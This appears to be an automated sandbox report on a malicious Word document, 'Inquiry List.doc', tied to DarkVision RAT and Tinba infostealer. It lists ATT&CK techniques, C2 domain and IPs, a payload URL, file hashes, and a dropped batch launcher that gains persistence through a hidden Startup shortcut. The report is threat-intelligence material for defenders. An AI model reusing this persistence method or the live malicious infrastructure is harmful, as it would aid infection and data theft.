Credentials	Domains	Default Accounts	33 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Account Discovery	Remote Desktop Protocol	11 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	411 Process Injection	11 Software Packing	NTDS	325 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	322 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	251 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	411 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Inquiry List.doc	61%	Virustotal		Browse
Inquiry List.doc	55%	ReversingLabs	Win32.Exploit.DarkVisionRat
Inquiry List.doc	100%	Avira	W97M/Agent.5915124
Inquiry List.doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\brightness.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\ProgramData\windows\windows.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Windows\SysWOW64\brightness.exe	100%	Joe Sandbox ML
C:\ProgramData\windows\windows.exe	100%	Joe Sandbox ML
C:\ProgramData\windows\windows.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Windows\SysWOW64\brightness.exe	45%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label	Link
acuweld.ddns.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
acuweld.ddns.net	85.31.47.116	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
acuweld.ddns.net	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
85.31.47.116	acuweld.ddns.net	Germany		43659	CLOUDCOMPUTINGDE	true
87.120.113.91	unknown	Bulgaria		25206	UNACS-AS-BG8000BurgasBG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585296
Start date and time:	2025-01-07 13:24:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Inquiry List.doc
Detection:	MAL
Classification:	mal100.troj.expl.evad.winDOC@24/15@4/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer Override analysis time to 73437.6837 for current running targets taking high CPU consumption Override analysis time to 146875.3674 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.109.28.46, 52.113.194.132, 52.182.143.213, 184.28.90.27, 52.111.236.35, 52.111.236.34, 52.111.236.32, 52.111.236.33, 2.21.65.149, 2.21.65.130, 52.109.89.19, 20.190.159.71, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, weu-azsc-000.roaming.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, onedscolprdcus16.centralus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, templatesmetadata.office.net, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, nleditor.osi.office.net, e26769.dscb.akamaiedge.net, prod-eu-r
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:25:37	API Interceptor	37x Sleep call for process: powershell.exe modified
07:26:08	API Interceptor	11515654x Sleep call for process: windows.exe modified
07:26:18	API Interceptor	257x Sleep call for process: explorer.exe modified
12:25:42	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}.lnk

LLM Input / Output

Input	Output
URL: Office document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PROTECTED DOCUMENT", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Office document Model: Joe Sandbox AI	{ "brands": [ "Microsoft Word" ] }
	{ "brands": [ "Microsoft Word" ] }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PROTECTED DOCUMENT", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PROTECTED DOCUMENT", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PROTECTED DOCUMENT", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PROTECTED DOCUMENT", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PROTECTED DOCUMENT", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Word" ] }
	{ "brands": [ "Microsoft Word" ] }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Word" ] }
	{ "brands": [ "Microsoft Word" ] }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Word" ] }
	{ "brands": [ "Microsoft Word" ] }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Word" ] }
	{ "brands": [ "Microsoft Word" ] }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Word" ] }
	{ "brands": [ "Microsoft Word" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
87.120.113.91	009274965.lnk	Get hash	malicious	DarkVision Rat	Browse	87.120.113.91/image.exe
87.120.113.91	LPO-0048532025.lnk	Get hash	malicious	DarkVision Rat	Browse	87.120.113.91/image.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
acuweld.ddns.net	009274965.lnk	Get hash	malicious	DarkVision Rat	Browse	87.121.86.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDCOMPUTINGDE	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	80.76.51.73
	onlysteal.exe	Get hash	malicious	DCRat	Browse	185.216.71.25
	WC2SD38tcf.exe	Get hash	malicious	Stealc	Browse	185.216.71.4
	hidakibest.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.216.71.152
	hidakibest.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.216.71.152
	hidakibest.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.216.71.152
	hidakibest.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	185.216.71.152
	hidakibest.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.216.71.152
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.216.71.152
	hidakibest.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.216.71.152
UNACS-AS-BG8000BurgasBG	3lhrJ4X.exe	Get hash	malicious	LiteHTTP Bot	Browse	87.120.126.5
	XClient.exe	Get hash	malicious	XWorm	Browse	87.120.125.47
	file.exe	Get hash	malicious	DcRat, JasonRAT	Browse	87.120.113.91
	009274965.lnk	Get hash	malicious	DarkVision Rat	Browse	87.120.113.91
	hoEtvOOrYH.exe	Get hash	malicious	SmokeLoader	Browse	87.120.115.216
	rebirth.arm4t.elf	Get hash	malicious	Gafgyt	Browse	87.120.113.63
	rebirth.spc.elf	Get hash	malicious	Gafgyt	Browse	87.120.113.63
	rebirth.sh4.elf	Get hash	malicious	Gafgyt	Browse	87.120.113.63
	rebirth.arm5.elf	Get hash	malicious	Gafgyt	Browse	87.120.113.63
	rebirth.x86.elf	Get hash	malicious	Gafgyt	Browse	87.120.113.63

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3184128
Entropy (8bit):	6.715014364484021
Encrypted:	false
SSDEEP:	49152:0Pr9yQEITLGwOe9OTlkdYA2hnb2UJcGwXbmK60LkNB:EBZGwOe9OTmdYpnbETXH/LkH
MD5:	9BB6B2817EF5A1367529506EAF619F0F
SHA1:	69CB6C8BAD09624B19F4C77513B915473F6AB1F6
SHA-256:	87BD876CE006AC681BDC03BB01449C6444F93F8DDF147C6AF6B8E1275E3949E9
SHA-512:	0E87EE48B97E0930AF5E675660CCFFB82F569B9DC1CFF82C51FA8BE1D8F49E6CF5ACB329EB969773409373DB9B11D07AD0A1D8175D152C3E918D6D3976387F10
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........W...9...9...9.......9..U....9......9......9...8.K.9..U....9..U....9..U....9..U....9..U....9.Rich..9.........................PE..L.....6g..............................0...... ....@...........................0......=1...@...........................0.....m....................................................................................................................... . ............................@....rsrc...............................@....idata ............................@...qgnauohf..(.. ....(.................@...luhkmkvw......0.......0.............@...........................................................................................................................................................................................................................................................................................................

C:\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat

Download File

Process:	C:\Windows\explorer.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	101
Entropy (8bit):	5.194966869096723
Encrypted:	false
SSDEEP:	3:mKDDRc29mbZkRE/KX3me1koxkhBVNsn:htJEirp1Nm7s
MD5:	EBDF1ED7715DFA61C9ADBE4A9822179D
SHA1:	F25075332FF310ACA7801D13C8838B7CD7527DFC
SHA-256:	F6D49EB8CEA1388C3BEF1058C60316B5EAC777D232C3B6B31D63700B047E7215
SHA-512:	87727E58E12A747F394447A0DF6D6EA277241733B50DBF2ABAD3A9D203D112B33F8B35DC7A929A0D151DCBC932FDEC5E4F3E081BA38E20A33A9417B44A315ED5
Malicious:	false
Preview:	@echo off.cmd /c start "" "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulKlp:NllUK
MD5:	D94305FB8760DA3098BE4DA442AE53A0
SHA1:	2A40AC046A6D4D44151536FF7678A86A9AC942A2
SHA-256:	B6A07B39F75B36D4F4A16EFA4A878FD0CF3BF055C719A1CA3E6A17C23D32AFDC
SHA-512:	EB2929BDEFD999D5A69956E00E7CF0ECA2812670831ADC0CE8978E563542C129FF41A80D51648E343354797BC5BB20A626DC60CD130CCC8FB965E2B6D262BEB3
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_121aja2k.5sm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45uinjb0.ho2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_il3lycnn.plz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmqdympz.wye.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxks3ist.wby.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psuokzhf.za0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1zn2iqi.xsn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vkv45rss.ifz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\~DF5108FCE735A85875.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}.lnk

Download File

Process:	C:\Windows\explorer.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Jan 7 11:25:40 2025, mtime=Tue Jan 7 11:25:40 2025, atime=Tue Jan 7 11:25:40 2025, length=101, window=hide
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	4.535929006485205
Encrypted:	false
SSDEEP:	24:8pjjYRb0jV+f1M6MVUFOyAJUVu1fFbxXBm:8sb0R4bcxiM73
MD5:	587EB8D6F6E8B9F3599687370FB037BD
SHA1:	42458843BA31020FDEC9A48E7299EE3D9B3F6FA3
SHA-256:	1774CEA1B18B5A15DC489DD2F15F9E4AF76EB33E802903557612435DDCF71F06
SHA-512:	517C318A96B59137AF9B46E1069E4E6583EF7248275DDEE8429EA487C629A2F50CBDB8A55C8B2FB8952AAD693AA9B4937D74DA610B9BACD31748776FE914C045
Malicious:	false
Preview:	L..................F.... ..P.C.`..P.C.`..P.C.`..e............................P.O. .:i.....+00.../C:\...................`.1.....'Z3c. PROGRA~3..H......O.I'Z3c....g.....................[.z.P.r.o.g.r.a.m.D.a.t.a.......1.....'Z5c. {A6378~1..~......'Z5c'Z5c...._.........................{.A.6.3.7.8.F.2.7.-.E.3.E.4.-.4.3.B.5.-.A.4.A.9.-.3.C.D.4.2.A.E.F.D.E.D.B.}.......2.e...'Z5c {01CD1~1.BAT.........'Z5c'Z5c....n......................G..{.0.1.C.D.1.8.C.6.-.8.D.B.4.-.4.D.1.9.-.9.0.1.B.-.1.4.2.F.F.E.F.4.1.E.7.A.}...b.a.t.......................-.....................;......C:\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat..x.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m.D.a.t.a.\.{.A.6.3.7.8.F.2.7.-.E.3.E.4.-.4.3.B.5.-.A.4.A.9.-.3.C.D.4.2.A.E.F.D.E.D.B.}.\.{.0.1.C.D.1.8.C.6.-.8.D.B.4.-.4.D.1.9.-.9.0.1.B.-.1.4.2.F.F.E.F.4.1.E.7.A.}...b.a.t.`.......X.......841675...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..

C:\Users\user\Desktop\~$quiry List.doc

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.6947539883212297
Encrypted:	false
SSDEEP:	3:KVGl/lilKlRAGlDFi34P5tXbEAMn/lfllwJYK6:KVy/4KDll5pE5n+Jn6
MD5:	48A0F60E19EA28DCCBE8E06F8DCE9659
SHA1:	06AA19277FC9C8EF34F53B09AA23FE44D140F775
SHA-256:	1FEF728D3B6E271E09B2D410EE1839F717CB56BF63F996DA980555216258D17A
SHA-512:	08A791246623F4396B3915FB6C3DF64BC3F6D01DAF3E30ADC601E0A030C898C78660BD20C5730509365F160F803EB911B1D5C96EFB8153D43B3AFEE38748AD77
Malicious:	false
Preview:	.user..................................................j.o.n.e.s.......T.....H]j......2}..a.i............................................l]j..'U.}..i......T..=.i

C:\Windows\SysWOW64\brightness.exe

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3184128
Entropy (8bit):	6.715014364484021
Encrypted:	false
SSDEEP:	49152:0Pr9yQEITLGwOe9OTlkdYA2hnb2UJcGwXbmK60LkNB:EBZGwOe9OTmdYpnbETXH/LkH
MD5:	9BB6B2817EF5A1367529506EAF619F0F
SHA1:	69CB6C8BAD09624B19F4C77513B915473F6AB1F6
SHA-256:	87BD876CE006AC681BDC03BB01449C6444F93F8DDF147C6AF6B8E1275E3949E9
SHA-512:	0E87EE48B97E0930AF5E675660CCFFB82F569B9DC1CFF82C51FA8BE1D8F49E6CF5ACB329EB969773409373DB9B11D07AD0A1D8175D152C3E918D6D3976387F10
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........W...9...9...9.......9..U....9......9......9...8.K.9..U....9..U....9..U....9..U....9..U....9.Rich..9.........................PE..L.....6g..............................0...... ....@...........................0......=1...@...........................0.....m....................................................................................................................... . ............................@....rsrc...............................@....idata ............................@...qgnauohf..(.. ....(.................@...luhkmkvw......0.......0.............@...........................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: GRACE, Template: Normal.dotm, Last Saved By: GRACE, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Tue Jan 7 09:22:00 2025, Last Saved Time/Date: Tue Jan 7 09:22:00 2025, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
Entropy (8bit):	7.0578989842485935
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	Inquiry List.doc
File size:	146'944 bytes
MD5:	3aa187a17e25bd67e3026b0e064fd308
SHA1:	6edae74a7702bd0e0f346973f20fadb6498f57a0
SHA256:	7977ee7a05a814e726e1b6e9d1747ff3ad84495d15a45d3f5ca59d20a9e8d383
SHA512:	1f5bf5029b1cc058ff3b63b4345ca74a3f8098070e817f0ca8365f41afd3be206d1261907bca1fffee6457c853251f7ecf129ea6d68ec110fa30ee2e14674d7b
